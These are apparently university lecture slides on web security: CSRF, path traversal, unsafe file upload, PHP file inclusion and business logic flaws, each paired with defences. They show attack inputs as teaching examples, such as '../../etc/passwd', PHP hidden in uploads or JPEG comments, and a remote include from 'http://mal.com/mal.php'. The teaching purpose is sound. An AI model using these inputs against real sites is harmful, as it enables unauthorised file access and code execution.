Web Security

Cross-Site Request Forgery
Attacks on Servers
Cross-Site Request Forgery
Cross-Site Request Forgery (CSRF)

- Malicious website has script that redirects and issues a request on target website
- If user is already logged in on target website ...
- Request is executed by target website on behalf of user
  - E.g., funds are transferred from the user to the attacker
Login CSRF

• Malicious site includes link or form that logs in victim with attacker’s account on CSRF vulnerable site

• Subsequent victim’s interaction with CSRF vulnerable site is shared with attacker
  – Navigation in vulnerable site
  – Data supplied to vulnerable site
  – ...

28/02/17
CSRF Trust Relationship

• Vulnerable site trusts user (login)
• User trusts evil site
• Evil site could be hacked legitimate site
CSRF Server-Side Defenses

• Synchronizer token
  – Random token embedded by server in all HTML forms and verified by server
  – CSRF request rejected because attacker cannot guess token

• Custom HTTP header
  – On login, web site sets a cookie containing random value
  – Client side script reads cookie and copies it into custom HTTP header sent with each transactional request
  – Security based on browser not transmitting custom HTTP headers across different servers
Firefox Add-on Request Policy (RP)

• RP sets default deny policy for cross-site requests
• Cross-site requests are those made to a site different from current one
• RP allows to whitelist cross-site requests by origin and/or destination site
Improper Path Sanitization
Improper Path Sanitization

• Problem: only some paths are valid; which ones?
• Improper path sanitization can lead to disallowed resources being accessed
• What sorts of resources/paths might we want to make off-limits?
Improper Path Sanitization

• What sorts of resources/paths might we want to make off-limits?
  – Configuration files (e.g., Apache’s .htaccess)
  – Files outside the web root
  – Files outside the upload directory
  – etc
Improper Path Sanitization

• Attempt #1: Blacklists
  – e.g., “/foo/bar is off limits”
• What’s wrong with this?
Improper Path Sanitization

• Attempt #1: Blacklists
  – e.g., “/foo/bar is off limits”

• What’s wrong with this?
  – Multiple paths can refer to the same resource
    – /foo/bar
    – /foo//bar
    – /foo/../foo/bar
    – /foo/bar/baz/..
Improper Path Sanitization

• Attempt #1: Blacklists
  – e.g., “/foo/bar is off limits”

• What’s wrong with this?
  – What about paths outside the web root?
    – ../../etc/passwd
    – Becomes /var/www/../../etc/passwd
    – (e.g., /etc/passwd)
Improper Path Sanitization

• Attempt #2: Whitelists
  – e.g., “only /foo/bar or /baz/blah are allowed”
• What’s wrong with this?
Improper Path Sanitization

• Attempt #2: Whitelists
  – e.g., “only /foo/bar or /baz/blah are allowed”

• What’s wrong with this?
  – How to keep the whitelist up to date?
  – How to be nice to users
    • e.g., /foo//bar is really /foo/bar
Improper Path Sanitization

- Attempt #3: Parse Paths
  - e.g., determine that foo.com/bar doesn’t escape web root
- What’s wrong with this?
Improper Path Sanitization

- Attempt #3: Parse Paths
  - e.g., determine that `foo.com/bar` doesn’t escape web root
- What’s wrong with this?
  - Correct parsing is *hard*
Improper Path Sanitization

Solution

– When possible, use existing implementations
  • Apache does this correctly - use it
– For custom logic, don’t use paths
  • Store data in databases
  • Don’t use subfolders
    – e.g., /var/uploads, my-upload.pdf
    – filter bad characters (/, \0) or bad names (.., .)
File Upload
File Upload

• Apache’s PHP plugin will execute *.php
• What happens if there’s an upload directory inside the web root?
  – e.g., /var/www/upload
• Apache’s PHP plugin will execute *.php
• What happens if there’s an upload directory inside the web root?
  – e.g., /var/www/upload
• Upload mal.php
• Visit foo.com/upload/mal.php
• Profit!
File Upload

• How to fix?
File Upload

• **Attempt #1: Disallow .php extension**
• **What could go wrong?**
File Upload

• Attempt #1: Disallow .php extension

• What could go wrong?
  – What if I want to upload a PHP file?
  – Not sufficient for some configurations...
<!-- date.html -->
<html>
<head><title>My Page</title></head>
<body>
  <p>Date: <?php echo date(); ?></p>
</body>
</html>
File Upload

- Upload foo.html:

```html
<html>
<?php do_bad_thing(); ?>
</html>
```
File Upload

- Upload foo.html:

```html
<html>
  <?php do_bad_thing(); ?>
</html>
```

- How to fix?
File Upload

- Attempt #2: Disallow \*.php, \*.html
- And verify that it’s a properly formatted file
- For example, limit to these file types:
  - JPEG
  - PDF
- What could go wrong?
File Upload

• What could go wrong?
  – JPEG supports comments, so embed PHP in JPEG comment field
  – Even if it didn’t, we could still craft the right pixel sequences:
    \x3C\x3F\x70\x68\x70 - <?php \x3F\x3E - ?>

• How to fix?
File Upload

• Solution: don’t serve files directly
• Bad: foo.com/upload/foo.pdf
• Implement custom logic in get.php
• Don’t allow access to upload directory
  – Store outside of web root
  – If that’s not possible, use .htaccess or similar
• Watch out for path vulnerabilities, though!
File Inclusion
File Inclusion

• PHP (and other languages) allow dynamic includes
  
  include('lib.php');

• Imagine a site with dynamically-generated include:
  
  lang = $_GET['lang'];
  include($lang . '.php');

• What could go wrong?
File Inclusion

• Let’s say there’s an `add-user.php`
  – Only included after authentication as admin
  – Can’t load directly - `foo.com/add-user.php`
• Visit `foo.com/blah.php?lang=add-user
  &user=mallory&pass=l337hax0r`
• Makes the include:
  include(‘add-user.php’);
File Inclusion

• Can we do better?
• Many PHP functions treat paths as being file paths or URLs...
• What could go wrong?
File Inclusion

• Can we do better?
• Many PHP functions treat paths as being file paths or URLs...
• What could go wrong?
• Makes the include:
  include(‘http://mal.com/mal.php’);
File Inclusion

• Solution?
File Inclusion

• Solution
  – If you need to dynamically include files, keep a pre-set list:

```php
lang_files = array(
    'en-US' => 'en-us.php',
    'en-GB' => 'en-GB.php',
    'en-l337' => 'en-l337.php');
```
Business Logic Flaws
“Business logic” is the high-level logic behind a web application’s functionality

- E.g., “A user must pay before having an item shipped to them”

- Flaws in the implementation of this logic (or flaws in the logic itself) can be serious

- Chapter 11 of WAHH
Business Logic Flaws

• Often come from a mismatch between developer assumptions and reality
• Since they differ widely, best to give examples
• These are real examples from real applications
Business Logic Flaws

• Example 1: Cheating on Bulk Discounts
  – Site offers bulk discounts on group of items
  – When a new item is added to the cart, if a bulk discount applies, the prices of all items are lowered appropriately
  – What could go wrong?
Business Logic Flaws

• Example 1: Cheating on Bulk Discounts
  – Site offers bulk discounts on group of items
  – When a new item is added to the cart, if a bulk discount applies, the prices of all items are lowered appropriately
  – What could go wrong?
    – Add many items to the cart, lowering prices
    – Delete most of them, check out with a cheap item
Business Logic Flaws

• Example 2: Proceeding to Checkout
  – In a shopping cart application, when checking out, user is directed through a series of pages:
    • From cart, click “checkout” button
    • Redirected to page to enter payment details
    • If payment verifies, redirected to shipping details
    • After shipping details verified, order is complete
    • What could go wrong?
Business Logic Flaws

• Example 2: Proceeding to Checkout
  – In a shopping cart application, when checking out, user is directed through a series of pages:
    • From cart, click “checkout” button
    • Redirected to page to enter payment details
    • If payment verifies, redirected to shipping details
    • After shipping details verified, order is complete
    • What could go wrong?
    • Go directly to entering shipping details, skip payment